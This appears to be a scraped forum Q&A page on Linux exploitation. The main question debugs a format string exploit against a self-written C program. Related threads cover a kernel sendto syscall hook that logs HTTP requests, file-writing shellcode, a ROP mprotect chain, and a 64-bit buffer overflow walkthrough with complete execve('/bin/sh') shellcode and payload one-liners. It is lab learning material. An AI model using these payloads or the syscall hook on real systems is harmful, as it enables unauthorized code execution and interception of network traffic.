Format string bugs - exploitation - linux

I'm trying to exploit my format string bug, which lies in this program:
#include <sys/types.h>
#include <sys/uio.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void foo(char* tmp, char* format) {
/* write into tmp a string formated as the format argument specifies */
sprintf(tmp, format);
/* just print the tmp buffer */
printf("%s", tmp);
}
int main(int argc, char** argv) {
char tmp[512];
char format[512];
while(1) {
/* fill memory with constant byte */
memset(format, '\0', 512);
/* read at most 512 bytes into format */
read(0, format, 512);
/* compare two strings */
if (!strncmp(format, "exit", 4))
break;
foo(tmp, format);
}
return 0;
}
The stack looks like this:
Low Memory Addresses
before printf before sprintf
function function
-----------------------
| 0xbffff258 | -
----------------------- ----------------------- |--- arguments to printf/sprintf
| 0xbffff258 | | 0xbffff058 | -
----------------------- -----------------------
| 0xbffff458 | (saved EBP)
-----------------------
| 0x08048528 | (return address to main - EIP)
-----------------------
| 0xbffff258 | (pointer to tmp)
-----------------------
| 0xbffff058 | (pointer to format)
-----------------------
| 0x00000004 | (constant 4)
-----------------------
| format[0] | (starts at 0xbffff058)
-----------------------
| format[511] |
-----------------------
| tmp[0] | (starts at 0xbffff258)
-----------------------
| tmp[511] |
-----------------------
High Memory Addresses
so the basic idea is to write a sequence of %x, %n, ... and feed it to the program. The program I'm using to build up the input string is:
#include <sys/types.h>
#include <sys/uio.h>
#include <unistd.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>
char shellcode[] =
"\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46"
"\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1"
"\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";
main()
{
char b0[255];
char b1[255];
char b2[255];
char b3[255];
char b4[1024];
char buffer[512];
memset(b0, 0, 255);
memset(b1, 0, 255);
memset(b2, 0, 255);
memset(b3, 0, 255);
memset(b4, 'A', 1024);
memset(b0, 'A', 0x68 - 0x10 - 0x28); // 0x10 because of the four addresses; 0x28 because of the shellcode
memset(b1, 'A', 0xf0 - 0x68);
memset(b2, 'A', 0xff - 0xf0);
memset(b3, 'A', 0x1bf - 0xff);
printf("\x48\xf0\xff\xbf"
"\x49\xf0\xff\xbf"
"\x4a\xf0\xff\xbf"
"\x4b\xf0\xff\xbf"
"%s"
"%s"
"%%6$n"
"%s"
"%%7$n"
"%s"
"%%8$n"
"%s"
"%%9$n"
,shellcode, b0, b1, b2, b3);
}
we can see that I've overwritting the addresses: 0xbffff048, 0xbffff049, 0xbffff04a, 0xbffff04b, with the following hexadecimals: 0x68, 0xf0, 0xff, 0x1bf, which gives us the address: 0xbffff068 (which is the address of the shellcode in memory). So the idea is to overwrite the 0x08048528 (EIP) with this address, so when function returns it would jump to that address.
I've done all this and checked with debugger that this is all fine. But I still get the segmentation fault in vfprintf () from /lib/libc.so.6.
Do anybody have any idea what's going on. Did I screw something up?
Thanks

Full Rewrite
Ok, so you're stack is executable. Good.
You should try disabling stack address randomization.
This appears to be x86, but that sort of information should be added to the question.

The addresses have changes a little bit, but I've done what you told me, I've used stepi and the results are:
After the strcpy the memory looks like:
(gdb) x/50x $esp
0xbffff024: 0xbffff240 0xbffff040 0xbffff448 0xbffff050
0xbffff034: 0xbf000001 0xbffff040 0x00000004 0xbffff030
0xbffff044: 0xbffff031 0xbffff032 0xbffff033 0x315e1aeb
0xbffff054: 0x074688c0 0x5e891e8d 0x0c468908 0xf3890bb0
0xbffff064: 0x8d084e8d 0x80cd0c56 0xffffe1e8 0x69622fff
0xbffff074: 0x68732f6e 0x41414141 0x41414141 0x41414141
0xbffff084: 0x41414141 0x41414141 0x41414141 0x6e243625
0xbffff094: 0x41414141 0x41414141 0x41414141 0x41414141
we can see that the address to jump to is now 0xbffff050, which is correct (there lies our shellcode).
and then I execute stepi:
(gdb) i reg $eip
eip 0x804846c 0x804846c <foo+24>
(gdb) stepi
0x0804846d in foo (tmp=0x1 <Address 0x1 out of bounds>, format=0xbffff4f4 "_\366\377\277") at main.c:13
13 }
let's analyze a little bit:
(gdb) i reg $eip
eip 0x804846d 0x804846d <foo+25>
(gdb) x/4i $eip
=> 0x804846d <foo+25>: ret
0x804846e <main>: push ebp
0x804846f <main+1>: mov ebp,esp
0x8048471 <main+3>: sub esp,0x414
ok if I do one more stepi, then the return should be executed and the execution jumped on the address: 0xbffff050.
and stepi again to execute return:
(gdb) stepi
0xbffff050 in ?? ()
(gdb) x/4i $eip
=> 0xbffff050: jmp 0xbffff06c
0xbffff052: pop esi
0xbffff053: xor eax,eax
0xbffff055: mov BYTE PTR [esi+0x7],al
0xbffff058: lea ebx,[esi]
0xbffff05a: mov DWORD PTR [esi+0x8],ebx
0xbffff05d: mov DWORD PTR [esi+0xc],eax
0xbffff060: mov al,0xb
(gdb) i reg $eip
eip 0xbffff050 0xbffff050
ok it tried to jump on the 0xbffff050, but didn't succeed or what? The EIP is still at 0xbffff050.
The memory looks like:
(gdb) x/50x 0xbffff024
0xbffff024: 0xbffff240 0xbffff040 0xbffff448 0xbffff050
0xbffff034: 0xbf000001 0xbffff040 0x00000004 0xbffff030
0xbffff044: 0xbffff031 0xbffff032 0xbffff033 0x315e1aeb
0xbffff054: 0x074688c0 0x5e891e8d 0x0c468908 0xf3890bb0
0xbffff064: 0x8d084e8d 0x80cd0c56 0xffffe1e8 0x69622fff
0xbffff074: 0x68732f6e 0x41414141 0x41414141 0x41414141
0xbffff084: 0x41414141 0x41414141 0x41414141 0x6e243625
0xbffff094: 0x41414141 0x41414141 0x41414141 0x41414141
I didn't use the $esp to display memory, because it has changed from 0xbffff024 to 0xbffff034.
Ok, let's jump to 0xbffff06c (this is beginning of the shellcode):
(gdb) stepi
0xbffff06c in ?? ()
(gdb) x/4i $eip
=> 0xbffff06c: call 0xbffff052
Ok, let's call the 0xbffff052:
(gdb) stepi
0xbffff052 in ?? ()
(gdb) x/4i $eip
=> 0xbffff052: pop esi
0xbffff053: xor eax,eax
0xbffff055: mov BYTE PTR [esi+0x7],al
0xbffff058: lea ebx,[esi]
Let's store ESI register with the return address from the previous call:
(gdb) stepi
0xbffff053 in ?? ()
(gdb) x/4i $eip
=> 0xbffff053: xor eax,eax
0xbffff055: mov BYTE PTR [esi+0x7],al
0xbffff058: lea ebx,[esi]
0xbffff05a: mov DWORD PTR [esi+0x8],ebx
(gdb) i reg $esi
esi 0xbffff071 -1073745807
Let's set EAX to 0:
(gdb) stepi
0xbffff055 in ?? ()
(gdb) i reg $eax
eax 0x0 0
Let's write the null in the location in memory:
(gdb) x/4i $eip
=> 0xbffff055: mov BYTE PTR [esi+0x7],al
0xbffff058: lea ebx,[esi]
0xbffff05a: mov DWORD PTR [esi+0x8],ebx
0xbffff05d: mov DWORD PTR [esi+0xc],eax
(gdb) x/20x $esp
before:
0xbffff064: 0x8d084e8d 0x80cd0c56 0xffffe1e8 0x69622fff
0xbffff074: 0x68732f6e 0x41414141 0x41414141 0x41414141
after:
0xbffff064: 0x8d084e8d 0x80cd0c56 0xffffe1e8 0x69622fff
0xbffff074: 0x68732f6e 0x41414100 0x41414141 0x4141414
Execute the LEA instruction:
(gdb) x/4i $eip
=> 0xbffff058: lea ebx,[esi]
0xbffff05a: mov DWORD PTR [esi+0x8],ebx
0xbffff05d: mov DWORD PTR [esi+0xc],eax
0xbffff060: mov al,0xb
(gdb) x/x $esi
0xbffff071: 0x6e69622f
(gdb) x/x $ebx
0x29aff4: 0x00158d7c
(gdb) stepi
0xbffff05a in ?? ()
(gdb) x/x $ebx
0xbffff071: 0x6e69622f
Another memory change:
(gdb) x/4i $eip
=> 0xbffff05a: mov DWORD PTR [esi+0x8],ebx
0xbffff05d: mov DWORD PTR [esi+0xc],eax
0xbffff060: mov al,0xb
0xbffff062: mov ebx,esi
(gdb) stepi
0xbffff05d in ?? ()
(gdb) stepi
0xbffff060 in ?? ()
(gdb) x/40x $esp
0xbffff064: 0x8d084e8d 0x80cd0c56 0xffffe1e8 0x69622fff
0xbffff074: 0x68732f6e 0xfff07100 0x000000bf 0x41414100
Fill EAX with system call:
(gdb) x/4i $eip
=> 0xbffff060: mov al,0xb
0xbffff062: mov ebx,esi
0xbffff064: lea ecx,[esi+0x8]
0xbffff067: lea edx,[esi+0xc]
(gdb) i reg $eax
eax 0x0 0
(gdb) stepi
0xbffff062 in ?? ()
(gdb) i reg $eax
eax 0xb 11
Fill ebx, ecx, edx:
(gdb) x/4i $eip
=> 0xbffff062: mov ebx,esi
0xbffff064: lea ecx,[esi+0x8]
0xbffff067: lea edx,[esi+0xc]
0xbffff06a: int 0x80
(gdb) stepi
0xbffff064 in ?? ()
(gdb) stepi
0xbffff067 in ?? ()
(gdb) stepi
0xbffff06a in ?? ()
(gdb) i reg $eax $ebx $ecx $edx
eax 0xb 11
ebx 0xbffff071 -1073745807
ecx 0xbffff079 -1073745799
edx 0xbffff07d -1073745795
Execute the int instruction:
(gdb) x/4i $eip
=> 0xbffff06a: int 0x80
0xbffff06c: call 0xbffff052
0xbffff071: das
0xbffff072: bound ebp,QWORD PTR [ecx+0x6e]
(gdb) stepi
process 2863 is executing new program: /bin/dash
Program exited normally.
And another stepi:
(gdb) stepi
The program is not being run.
So I guess there's no error, it works. But the problem remains that when I start the program normally, I just don't get the /bin/dash console. The curios thing is that the process 2863 just exits immediately...without prompting for a shell in the gdb? Any ideas?

Related

Why gdb backtrace syscall address is different from syscall table address

I'm really confusing with syscall address.
1 now I hook a syscall(fake_sendto) replace real syscall(sct[__NR_sendto]), and it workes normally.
# define fm_alert(fmt, ...) fm_printk(KERN_ALERT, fmt, ##__VA_ARGS__)
void
print_ascii(void *addr, size_t count, const char *prompt)
{
size_t index;
fm_alert("%s:\n", prompt);
for (index = 0; index < count; index += 1) {
pr_cont("%c", *((unsigned char *)addr + index));
}
return;
}
asmlinkage long
fake_sendto(int fd, void __user *buff, size_t len, unsigned flags,
struct sockaddr __user *addr, int addr_len)
{
void *kbuf = kmalloc(len + 1, GFP_KERNEL);
if (kbuf != NULL) {
if (copy_from_user(kbuf, buff, len)) {
fm_alert("%s\n", "copy_from_user failed.");
} else {
if (memcmp(kbuf, "GET", 3) == 0 ||
memcmp(kbuf, "POST", 4) == 0) {
print_ascii(kbuf, len, "ascii");
}
}
kfree(kbuf);
} else {
fm_alert("%s\n", "kmalloc failed.");
}
fm_alert("hook:%p, orig:%p\n", fake_sendto, real_sendto);
return real_sendto(fd, buff, len, flags, addr, addr_len);
}
now I dmesg to show logs:
[ 3466.057815] ifmonko.fake_sendto: hook:ffffffffc06d9070, orig:ffffffff8156b2c0
ok, I think the truely sys_sento address is above 0xffffffff8156b2c0
but when I write a test program, gdb print sendto function address is 0x7ffff7b11400 !
see below gdb debug info:
(gdb) disas main
Dump of assembler code for function main:
...
0x0000000000400cb4 <+743>: callq 0x400810 <sendto#plt>
...
End of assembler dump.
(gdb) b *0x0000000000400cb4
Breakpoint 1 at 0x400cb4: file ser.c, line 89.
(gdb) r
Starting program: /home/lid/ser 9898
Breakpoint 1, 0x0000000000400cb4 in main (argc=2, argv=0x7fffffffe6d8) at ser.c:89
89 nwrite = sendto(sfd, buf, strlen(buf), 0,
(gdb) c
Continuing.
Breakpoint 1, 0x0000000000400cb4 in main (argc=2, argv=0x7fffffffe6d8) at ser.c:89
89 nwrite = sendto(sfd, buf, strlen(buf), 0,
(gdb) p sendto
$1 = {<text variable, no debug info>} 0x7ffff7b11400 <sendto>
(gdb) si
0x0000000000400810 in sendto#plt ()
(gdb)
sendto () at ../sysdeps/unix/syscall-template.S:81
81 T_PSEUDO (SYSCALL_SYMBOL, SYSCALL_NAME, SYSCALL_NARGS)
(gdb) bt
#0 sendto () at ../sysdeps/unix/syscall-template.S:81
#1 0x0000000000400cb9 in main (argc=2, argv=0x7fffffffe6d8) at ser.c:89
(gdb) disas
Dump of assembler code for function sendto:
=> 0x00007ffff7b11400 <+0>: cmpl $0x0,0x2c8b6d(%rip) # 0x7ffff7dd9f74 <__libc_multiple_threads>
0x00007ffff7b11407 <+7>: jne 0x7ffff7b1141c <sendto+28>
0x00007ffff7b11409 <+0>: mov %rcx,%r10
0x00007ffff7b1140c <+3>: mov $0x2c,%eax
0x00007ffff7b11411 <+8>: syscall
0x00007ffff7b11413 <+10>: cmp $0xfffffffffffff001,%rax
0x00007ffff7b11419 <+16>: jae 0x7ffff7b1144f <sendto+79>
0x00007ffff7b1141b <+18>: retq
0x00007ffff7b1141c <+28>: sub $0x8,%rsp
0x00007ffff7b11420 <+32>: callq 0x7ffff7b1df20 <__libc_enable_asynccancel>
0x00007ffff7b11425 <+37>: mov %rax,(%rsp)
0x00007ffff7b11429 <+41>: mov %rcx,%r10
0x00007ffff7b1142c <+44>: mov $0x2c,%eax
0x00007ffff7b11431 <+49>: syscall
0x00007ffff7b11433 <+51>: mov (%rsp),%rdi
0x00007ffff7b11437 <+55>: mov %rax,%rdx
0x00007ffff7b1143a <+58>: callq 0x7ffff7b1df80 <__libc_disable_asynccancel>
0x00007ffff7b1143f <+63>: mov %rdx,%rax
0x00007ffff7b11442 <+66>: add $0x8,%rsp
0x00007ffff7b11446 <+70>: cmp $0xfffffffffffff001,%rax
0x00007ffff7b1144c <+76>: jae 0x7ffff7b1144f <sendto+79>
0x00007ffff7b1144e <+78>: retq
0x00007ffff7b1144f <+79>: mov 0x2c2a12(%rip),%rcx # 0x7ffff7dd3e68
0x00007ffff7b11456 <+86>: neg %eax
0x00007ffff7b11458 <+88>: mov %eax,%fs:(%rcx)
---Type <return> to continue, or q <return> to quit---
0x00007ffff7b1145b <+91>: or $0xffffffffffffffff,%rax
0x00007ffff7b1145f <+95>: retq
End of assembler dump.
(gdb)
why does gdb show different from between hook function and syscall table ?
why does gdb show different from between hook function and syscall table ?
One is in the kernel space, and the other is in user space. They have approximately nothing to do with each other.

Unexpected character in the filename I'm writing to

My problem is related with Assembler and Shellcoding.
I started off by writing my first shellcode and it worked out pretty well so far. I then made an assembly script of the following C code:
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
int main()
{
int fd = open("test.txt", O_CREAT | O_WRONLY);
write(fd, "Hello World!", 6);
return 0;
}
The assembly code for that piece looks like this:
global _start
_start:
xor eax, eax ; null eax reg
push 0x7478742e ; push "test.txt" on stack
push 0x74736574
mov ebx, esp ; first Argument
mov cl, 0x41 ; Flags O_CREAT | O_WRONLY
mov al, 0x5 ; sys_open
int 0x80
push 0x736b6330 ; "shellcodingr0cks"
push 0x72676e69
push 0x646f636c
push 0x6c656853
mov ebx, eax ; file identifier
mov ecx, esp ; string on the stack
mov dl, 0x10 ; 0x10 is the size of the string
mov al, 0x4 ; sys_write
int 0x80
xor eax, eax ; exit proc
inc eax
int 0x80
The Program works pretty well and I've got the expected output but there is one problem and I don't know why this is occurring.
The filename of the file I'm writing to should be test.txt but it is writing to test.txt^A. I don't know where the ^A is coming from, nor do I know how to fix it.
Does anyone know what is wrong, and how I can fix it?

How can test eax, eax generate a signal 11?

Program terminated with signal 11, Segmentation fault.
(gdb) info registers
rax 0x0 0
rip 0x496272 0x496272 <my_function+464>
eflags 0x10202 [ IF RF ]
The code in question looks like this.
if ( ... a->b->c.d & 0x100 ... )
The disassembly is
0x0000000000496262 <+448>: mov rax,QWORD PTR [rbp-0x30]
0x0000000000496266 <+452>: mov rax,QWORD PTR [rax+0x10]
0x000000000049626a <+456>: mov eax,DWORD PTR [rax+0x48]
0x000000000049626d <+459>: and eax,0x100
=> 0x0000000000496272 <+464>: test eax,eax
0x0000000000496274 <+466>: je 0x49628b <my_function+489>
...
0x0000000000496286 <+484>: jmp 0x49636f <my_function+717>
0x000000000049628b <+489>: mov rax,QWORD PTR [rbp-0x30]
0x000000000049628f <+493>: mov rax,QWORD PTR [rax+0x10]
There doesn't appear to be any memory access problems since GDB can print the accessed field, and the code didn't fault on the mov operation.
(gdb) p a->b->c.d
$1 = 0
There are no other threads running at the same time.
My guess currently is that the problem is somewhere else and GDB or the core file has incomplete or incorrect information.
The build machine is SLES9
The compiler is GCC 3.4.4
The execution host is RHEL6.4
GDB is 7.2-60.el6

Solving mprotect() syscall failure

I'm writing some ROP exploit code that calls mprotect via a syscall, after invoking int 0x80 eax is set to 0x0 indicating a success. Shifting execution to the target address still results in a SIGSEGV. I would love for someone to show me where I go wrong.
Some details, target address is the .data section, this is where I'll be writing by shellcode to:
[20] 0x8146820->0x814c2b8 at 0x000fd820: .data ALLOC LOAD DATA HAS_CONTENTS
I set eax to 125, ebx to the page boundary 0x8146000, ecx to 0x1000 (4096 page size) and edx to 0x7 (RWX).
Just before the syscall the registers look like this:
eax 0x7d 125
ecx 0x1000 4096
edx 0x7 7
ebx 0x8146000 135553024
esp 0xbffff2b0 0xbffff2b0
ebp 0x8d0e0f0 0x8d0e0f0
esi 0x804fb85 134544261
edi 0x43434343 1128481603
eip 0x80c0182 0x80c0182 <mprotect+18>
eflags 0x202 [ IF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
(gdb) disas $eip, $eip+20
Dump of assembler code from 0x80c0182 to 0x80c0196:
=> 0x080c0182 <mprotect+18>: int $0x80
0x080c0184 <mprotect+20>: pop %ebx
0x080c0185 <mprotect+21>: cmp $0xfffff001,%eax
0x080c018a <mprotect+26>: jae 0x80c7d80 <__syscall_error>
0x080c0190 <mprotect+32>: ret
and after the syscall the registers are:
(gdb) si
0x080c0184 in mprotect ()
(gdb) i r
eax 0x0 0
ecx 0x1000 4096
edx 0x7 7
ebx 0x8146000 135553024
esp 0xbffff2b0 0xbffff2b0
ebp 0x8d0e0f0 0x8d0e0f0
esi 0x804fb85 134544261
edi 0x43434343 1128481603
eip 0x80c0184 0x80c0184 <mprotect+20>
eflags 0x202 [ IF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
However the memory location does not show a change in permissions and attempting to execute instructions there terminates the application:
(gdb) x/4x 0x8146820
0x8146820: 0x00000000 0x00000000 0x08146154 0x0000ea60
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x08146820 in data_start ()
Any suggestions on how/what to debug or what I'm doing wrong are welcome.
Edit
I ran it under strace without the debugger attached, seems like the mprotect call is a success, yet execution fails:
stat64("/etc/localtime", {st_mode=S_IFREG|0644, st_size=2197, ...}) = 0
mprotect(0x8146000, 4096, PROT_READ|PROT_WRITE|PROT_EXEC) = 0
--- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0} ---
+++ killed by SIGSEGV (core dumped) +++
Confirming crash address from core:
Program terminated with signal SIGSEGV, Segmentation fault.
#0 0x08146820 in data_start ()
Your mprotect call worked. The program crashes because 0x8146820 holds
0x0000, which disassembles to add [eax], al, and eax holds zero. But address 0 is not mapped. (That's why the segfault is at si_addr=0)

Buffer overflows on 64 bit

I am trying to do some experiments with buffer overflows for fun. I was reading on this forum on the topic, and tried to write my own little code.
So what I did is a small "C" program, which takes character argument and runs until segmentation fault.
So I supply arguments until I get a message that I overwrote the return address with "A" which is 41. My buffer character length, in which I copy my input strings is [5].
Here is what I did in gdb.
run $(perl -e 'print "A"x32 ; ')
Program received signal SIGSEGV, Segmentation fault.
0x0000000000400516 in main (argc=Cannot access memory at address 0x414141414141412d
Then I figured out that it takes 16 'A' to overwrite.
run $(perl -e 'print "A"x16 . "C"x8 . "B"x32 ; ')
0x0000000000400516 in main (argc=Cannot access memory at address 0x434343434343432f
)
Which tells us that the 8 "C" are overwriting the return address.
According to the online tutorials if I supply a valid adress instead of the 8 "C". I can jump to some place and execute code. So I overloaded the memory after the initial 16 "A".
The next step was to execute
run $(perl -e 'print "A"x16 . "C"x8 . "B"x200 ; ')
rax 0x0 0
rbx 0x3a0001bbc0 249108216768
rcx 0x3a00552780 249113683840
rdx 0x3a00553980 249113688448
rsi 0x42 66
rdi 0x2af9e57710e0 47252785008864
rbp 0x4343434343434343 0x4343434343434343
rsp 0x7fffb261a2e8 0x7fffb261a2e8
r8 0xffffffff 4294967295
r9 0x0 0
r10 0x22 34
r11 0xffffffff 4294967295
r12 0x0 0
r13 0x7fffb261a3c0 140736186131392
r14 0x0 0
r15 0x0 0
rip 0x400516 0x400516 <main+62>
eflags 0x10206 [ PF IF RF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
gs 0x0 0
fctrl 0x37f 895
fstat 0x0 0
ftag 0xffff 65535
fiseg 0x0 0
fioff 0x0 0
foseg 0x0 0
fooff 0x0 0
fop 0x0 0
mxcsr 0x1f80 [ IM DM ZM OM UM PM ]
After examining the memory 200 bytes after $rsp i found an address and I did the following:
run $(perl -e 'print "A"x16 . "\x38\xd0\xcb\x9b\xff\x7f" . "\x90"x50 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" ; ')
This however does not do anything. I would be grateful if someone can give me an idea what am I doing wrong.
First make sure that you change the randomize_va_space. On Ubuntu you would run the following as root
echo 0 > /proc/sys/kernel/randomize_va_space
Next make sure you are compiling the test program without stack smashing protection and set the memory execution bit. Compile it with the following gcc options to accomplish
-fno-stack-protector -z execstack
Also I found I needed more space to actually execute a shell so I would change your buffer to something more like buffer[64]
Next you can run the app in gdb and get the stack address you need to return to
First set a breakpoint right after the strcpy
(gdb) disassemble main
Dump of assembler code for function main:
0x000000000040057c <+0>: push %rbp
0x000000000040057d <+1>: mov %rsp,%rbp
0x0000000000400580 <+4>: sub $0x50,%rsp
0x0000000000400584 <+8>: mov %edi,-0x44(%rbp)
0x0000000000400587 <+11>: mov %rsi,-0x50(%rbp)
0x000000000040058b <+15>: mov -0x50(%rbp),%rax
0x000000000040058f <+19>: add $0x8,%rax
0x0000000000400593 <+23>: mov (%rax),%rdx
0x0000000000400596 <+26>: lea -0x40(%rbp),%rax
0x000000000040059a <+30>: mov %rdx,%rsi
0x000000000040059d <+33>: mov %rax,%rdi
0x00000000004005a0 <+36>: callq 0x400450 <strcpy#plt>
0x0000000000**4005a5** <+41>: lea -0x40(%rbp),%rax
0x00000000004005a9 <+45>: mov %rax,%rsi
0x00000000004005ac <+48>: mov $0x400674,%edi
0x00000000004005b1 <+53>: mov $0x0,%eax
0x00000000004005b6 <+58>: callq 0x400460 <printf#plt>
0x00000000004005bb <+63>: mov $0x0,%eax
0x00000000004005c0 <+68>: leaveq
0x00000000004005c1 <+69>: retq
End of assembler dump.
(gdb) b *0x4005a5
Breakpoint 1 at 0x4005a5
Then run the app and at the break point grab the rax register address.
(gdb) run `python -c 'print "A"*128';`
Starting program: APPPATH/APPNAME `python -c 'print "A"*128';`
Breakpoint 1, 0x00000000004005a5 in main ()
(gdb) info register
rax 0x7fffffffe030 140737488347136
rbx 0x0 0
rcx 0x4141414141414141 4702111234474983745
rdx 0x41 65
rsi 0x7fffffffe490 140737488348304
rdi 0x7fffffffe077 140737488347255
rbp 0x7fffffffe040 0x7fffffffe040
rsp 0x7fffffffdff0 0x7fffffffdff0
r8 0x7ffff7dd4e80 140737351863936
r9 0x7ffff7de9d60 140737351949664
r10 0x7fffffffdd90 140737488346512
r11 0x7ffff7b8fd60 140737349483872
r12 0x400490 4195472
r13 0x7fffffffe120 140737488347424
r14 0x0 0
r15 0x0 0
rip 0x4005a5 0x4005a5 <main+41>
eflags 0x206 [ PF IF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
gs 0x0 0
(gdb)
Next determine your max buffer size. I know that the buffer of 64 crashes at 72 bytes so I will just go from that.. You could use something like metasploits pattern methods to give you this or just figure it out from trial and error running the app to find out the exact byte count it takes before getting a segfault or make up a pattern of your own and match the rip address like you would with the metasploit pattern option.
Next, there are many different ways to get the payload you need but since we are running a 64bit app, we will use a 64bit payload. I compiled C and then grabbed the ASM from gdb and then made some changes to remove the \x00 chars by changing the mov instructions to xor for the null values and then shl and shr to remove them from the shell command. We will show this later but for now the payload is as follows.
\x48\x31\xd2\x48\x89\xd6\x48\xbf\x2f\x62\x69\x6e\x2f\x73\x68\x11\x48\xc1\xe7\x08\x48\xc1\xef\x08\x57\x48\x89\xe7\x48\xb8\x3b\x11\x11\x11\x11\x11\x11\x11\x48\xc1\xe0\x38\x48\xc1\xe8\x38\x0f\x05
our payload here is 48 bytes so we have 72 - 48 = 24
We can pad the payload with \x90 (nop) so that instruction will not be interrupted. Ill add 2 at the end of the payload and 22 at the beginning. Also I will tack on the return address that we want to the end in reverse giving the following..
`python -c 'print "\x90"*22+"\x48\x31\xd2\x48\x89\xd6\x48\xbf\x2f\x62\x69\x6e\x2f\x73\x68\x11\x48\xc1\xe7\x08\x48\xc1\xef\x08\x57\x48\x89\xe7\x48\xb8\x3b\x11\x11\x11\x11\x11\x11\x11\x48\xc1\xe0\x38\x48\xc1\xe8\x38\x0f\x05\x90\x90\x30\xe0\xff\xff\xff\x7f"';`
Now if you want to run it outside of gdb, you may have to fudge with the return address. In my case the address becomes \x70\xe0\xff\xff\xff\x7f outside of gdb. I just increased it until it worked by going to 40 then 50 then 60 then 70..
test app source
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
char name[64];
strcpy(name, argv[1]);
printf("Arg[1] is :%s\n", name);
return 0;
}
This is the payload in C
#include <stdlib.h>
int main()
{
execve("/bin/sh", NULL, NULL);
}
And payload in ASM which will build and run
int main() {
__asm__(
"mov $0x0,%rdx\n\t" // arg 3 = NULL
"mov $0x0,%rsi\n\t" // arg 2 = NULL
"mov $0x0068732f6e69622f,%rdi\n\t"
"push %rdi\n\t" // push "/bin/sh" onto stack
"mov %rsp,%rdi\n\t" // arg 1 = stack pointer = start of /bin/sh
"mov $0x3b,%rax\n\t" // syscall number = 59
"syscall\n\t"
);
}
And since we can't use \x00 we can change to xor the values and do some fancy shifting to remove the bad values of the mov for setting up /bin/sh
int main() {
__asm__(
"xor %rdx,%rdx\n\t" // arg 3 = NULL
"mov %rdx,%rsi\n\t" // arg 2 = NULL
"mov $0x1168732f6e69622f,%rdi\n\t"
"shl $0x8,%rdi\n\t"
"shr $0x8,%rdi\n\t" // first byte = 0 (8 bits)
"push %rdi\n\t" // push "/bin/sh" onto stack
"mov %rsp,%rdi\n\t" // arg 1 = stack ptr = start of /bin/sh
"mov $0x111111111111113b,%rax\n\t" // syscall number = 59
"shl $0x38,%rax\n\t"
"shr $0x38,%rax\n\t" // first 7 bytes = 0 (56 bits)
"syscall\n\t"
);
}
if you compile that payload, run it under gdb you can get the byte values you need such as
(gdb) x/bx main+4
0x400478 <main+4>: 0x48
(gdb)
0x400479 <main+5>: 0x31
(gdb)
0x40047a <main+6>: 0xd2
(gdb)
or get it all by doing something like
(gdb) x/48bx main+4
0x4004f0 <main+4>: 0x48 0x31 0xd2 0x48 0x89 0xd6 0x48 0xbf
0x4004f8 <main+12>: 0x2f 0x62 0x69 0x6e 0x2f 0x73 0x68 0x11
0x400500 <main+20>: 0x48 0xc1 0xe7 0x08 0x48 0xc1 0xef 0x08
0x400508 <main+28>: 0x57 0x48 0x89 0xe7 0x48 0xb8 0x3b 0x11
0x400510 <main+36>: 0x11 0x11 0x11 0x11 0x11 0x11 0x48 0xc1
0x400518 <main+44>: 0xe0 0x38 0x48 0xc1 0xe8 0x38 0x0f 0x05
Well for starters... Are you entirely sure that the address on the stack is the return pointer and not a pointer to say a data structure or string somewhere? If that is the case it will use that address instead of the string and could just end up doing nothing :)
So check if your function uses local variables as these are put on the stack after the return address. Hope this helps ^_^ And good luck!
i haven't worked with x64 much , but a quick look says you have 16 bytes till rip overwrite.
instead of the \x90 try \xCC's to see if controlled code redirection has occured, if it has gdb should hit(land in the \xCC pool) the \xCC and pause (\xCC are in a way 'hardcoded' breakpoints).

Resources